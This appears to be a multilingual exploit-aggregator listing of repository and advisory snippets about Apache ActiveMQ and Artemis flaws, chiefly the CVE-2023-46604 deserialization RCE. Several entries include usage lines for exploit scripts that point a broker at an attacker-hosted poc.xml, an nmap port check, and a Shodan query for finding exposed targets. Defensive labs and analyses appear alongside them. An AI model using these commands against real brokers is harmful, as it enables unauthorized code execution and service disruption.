CVE-2023-46604-RCE

CVE-2023-46604-RCE Vulnérabilité Une vulnérabilité de désérialisation dans le démarshaler du transport OpenWire d'Apache ActiveMQ. Les versions concernées sont 5.18.0 à 5.18.2, 5.17.0 à 5.17.5, 5.16.0 à 5.16.6, et toutes les versions antérieures à 5.15.16. Configuration Modifiez les valeurs dans ...

CVE-2023-46604-Apache-ActiveMQ-RCE-exp

Référence du projet Ce projet est une réécriture en python de l'exp du projet https://github.com/X1r0z/ActiveMQ-RCE . Utilisation root@kitploit: python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 Le paramètre -p est par défaut le port par défaut d'activeMQ. Le...

CVE-2015-5254

CVE-2015-5254 ActiveMQ Désérialisation RCE 0x01 Vérifiez que le port 61616 est ouvert nmap -p 61616 -Pn -T5 -n -sC -sV 10.10.20.166 root@kitploit: root@kali: nmap -p 61616 -Pn -T5 -n -sC -sV 10.10.20.166 Starting Nmap 7.70 https://nmap.org at 2019-08-30 02:05 EDT Nmap scan report for 10.10.20.166...

CVE-2025-27533-Exploit-for-Apache-ActiveMQ

CVE-2025-27533-Exploit-for-Apache-ActiveMQ PoC exploit pour CVE-2025-27533 , une vulnérabilité de déni de service DoS dans Apache ActiveMQ. Cet outil envoie des paquets OpenWire malveillants pour épuiser la mémoire du tas JVM du serveur cible, et potentiellement faire planter le service ActiveMQ...

CVE-2023-46604

CVE-2023-46604 Ce dépôt contient un script d'exploitation et un fichier XML de preuve de concept PoC pour la vulnérabilité CVE-2023-46604 affectant Apache ActiveMQ. Cette vulnérabilité permet l'exécution de code à distance en raison de pratiques de désérialisation non sécurisées dans le protocole...

OpenWire-CVE-2023-46604-Investigation

OpenWire-CVE-2023-46604-Enquête OpenWire Lab Lors de mon quart de travail en tant qu'analyste SOC de niveau 2 Security Operations Center, j'ai reçu une escalade d'un analyste de niveau 1 concernant un serveur accessible publiquement qui avait été observé en communication avec plusieurs adresses I...

CVE-2023-46604-ActiveMQ-RCE-pseudoshell

CVE-2023-46604 RCE Pseudoshell Ce script exploite CVE-2023046604 Apache ActiveMQ pour générer un pseudo-shell. La vulnérabilité permet l'exécution de code à distance en raison d'une désérialisation non sécurisée dans le protocole OpenWire. Description CVE-2023-46604 est une vulnérabilité de...

CVE-2023-46604-LAB

CVE-2023-46604 – Apache ActiveMQ RCE Protocole OpenWire Ce dépôt documente un environnement de laboratoire utilisé pour comprendre et détecter la vulnérabilité CVE-2023-46604 affectant Apache ActiveMQ. L'objectif de ce projet : Comprendre comment l'exploit se comporte au niveau du protocole...

ExploitScript-CVE-2023-46604

ExploitScript-CVE-2023-46604 Отказ от ответственности Этот репозиторий содержит код доказательства концепции proof-of-concept для CVE-2023-466064 и предназначен строго для образовательных целей. Авторы и участники не поддерживают никакую незаконную деятельность. Информация представлена здесь для...

CVE-2023-46604

Résumé Technique de l'Attaque : CVE-2023-46604 Le script exploite une vulnérabilité de désérialisation non sécurisée dans Apache ActiveMQ CVE-2023-46604 pour réaliser une exécution de code à distance sur le serveur cible. Description du Processus d'Exploitation root@kitploit: Objectif de la...

ActiveMQ-CVE-2023-46604

CVE-2023-46604 ActiveMQ Safe Validator Однофайловый, неразрушающий валидатор для Apache ActiveMQ CVE-2023-46604. Он запускает собственный HTTP-сервер обратного вызова, генерирует в памяти Spring XML, специфичный для каждой цели, отправляет сформированный OpenWire-пакет, сопоставляет обратные вызо...

CVE-2023-46604-Analysis

CVE-2023-46604 分析 Apache ActiveMQ CVE-2023-46604 の原因、コードパス、パッチポイント、再現結果をまとめた技術分析リポジトリです。 本ドキュメントは、公開された脆弱性 CVE-2023-46604 に関する技術分析および防御の観点からの学習資料です。 すべての実験は承認された閉鎖型テスト環境でのみ実施されており、非認可システムへの適用や再現は違法となる可能性があります。 本ドキュメントの内容は、脆弱性の理解、パッチ検証、検知および対応能力の強化を目的としてのみ提供されます。 概要 CVE-2023-46604 は、Apache ActiveM...

CVE-2023-46604

CVE-2023-46604 01. Apache ActiveMQ & OpenWire 1 Apache ActiveMQ와 OpenWire 개요 ActiveMQ는 JMS를 지원하는 클라이언트를 포함하는 브로커, 자바 뿐만 아니라 다양한 언어를 이용하는 시스템 간 의 통신을 할 수 있게해준다. 또한 클러스터링 기능 및 DB 그리고 FileSystem을 통해 각 시스템간의 일관성 및 지속성을 유지 시켜주는 오픈 소스 메세징 그리고 통합 패턴 서버 입니다. 가. OpenWire는 Apache ActiveMQ에서 사용되는 이진 메시징 프로토...

CVE-2023-46604

CVE-2023-46604 Exploit pour CVE-2023-46604 Cet outil aide à exploiter cette vulnérabilité. Requête Shodan pour trouver la cible : root@kitploit: product:"ActiveMQ" port:"61616" Utilisation de l'outil : root@kitploit: for read targets from the file: python3 exploit.py -f targets -c...

Apache Artemis 1.0.0 < 2.45.0 / 2.50.0 < 2.57.0 Multiple Vulnerabilities

The version of Apache Artemis formerly Apache ActiveMQ Artemis installed on the remote host is affected by multiple vulnerabilities: - An unauthenticated remote attacker can craft a CORE protocol SESSIONREATTACH packet to steal an existing session and assume ongoing execution of the previously...

artemis-openwire-protocol: AMQ Broker Artemis: pre-authentication arbitrary durable queue deletion via OpenWire RemoveSubscriptionInfo

An unauthenticated network attacker can delete arbitrary durable queues on any Apache Artemis broker with OpenWire protocol enabled default. The processRemoveSubscription method executes pre-authentication with no authorization check, and uses the internal destroyQueueSimpleString overload that...

artemis-openwire-protocol: AMQ Broker Artemis: pre-authentication arbitrary durable queue deletion via OpenWire RemoveSubscriptionInfo

An unauthenticated network attacker can delete arbitrary durable queues on any Apache Artemis broker with OpenWire protocol enabled default. The processRemoveSubscription method executes pre-authentication with no authorization check, and uses the internal destroyQueueSimpleString overload that...

CVE-2026-67593

An unauthenticated network attacker can delete arbitrary durable queues on any Apache Artemis broker with OpenWire protocol enabled default. The processRemoveSubscription method executes pre-authentication with no authorization check, and uses the internal destroyQueueSimpleString overload that...

CVE-2026-67593

A remote attacker can craft an Openwire RemoveSubscriptionInfo command to cause the deletion of a queue on the Artemis broker before the connection authentication and authorization stage or at any time thereafter. This issue affects Apache Artemis: from 2.50.0 through 2.56.0; Apache ActiveMQ...

CVE-2026-67593

CVE-2026-67593 allows an unauthenticated remote attacker to delete arbitrary durable queues on Apache Artemis (2.50.0–2.56.0) and Apache ActiveMQ Artemis (1.0.0–2.44.0) by crafting a malicious OpenWire RemoveSubscriptionInfo command. The root cause is the processRemoveSubscription() method, which...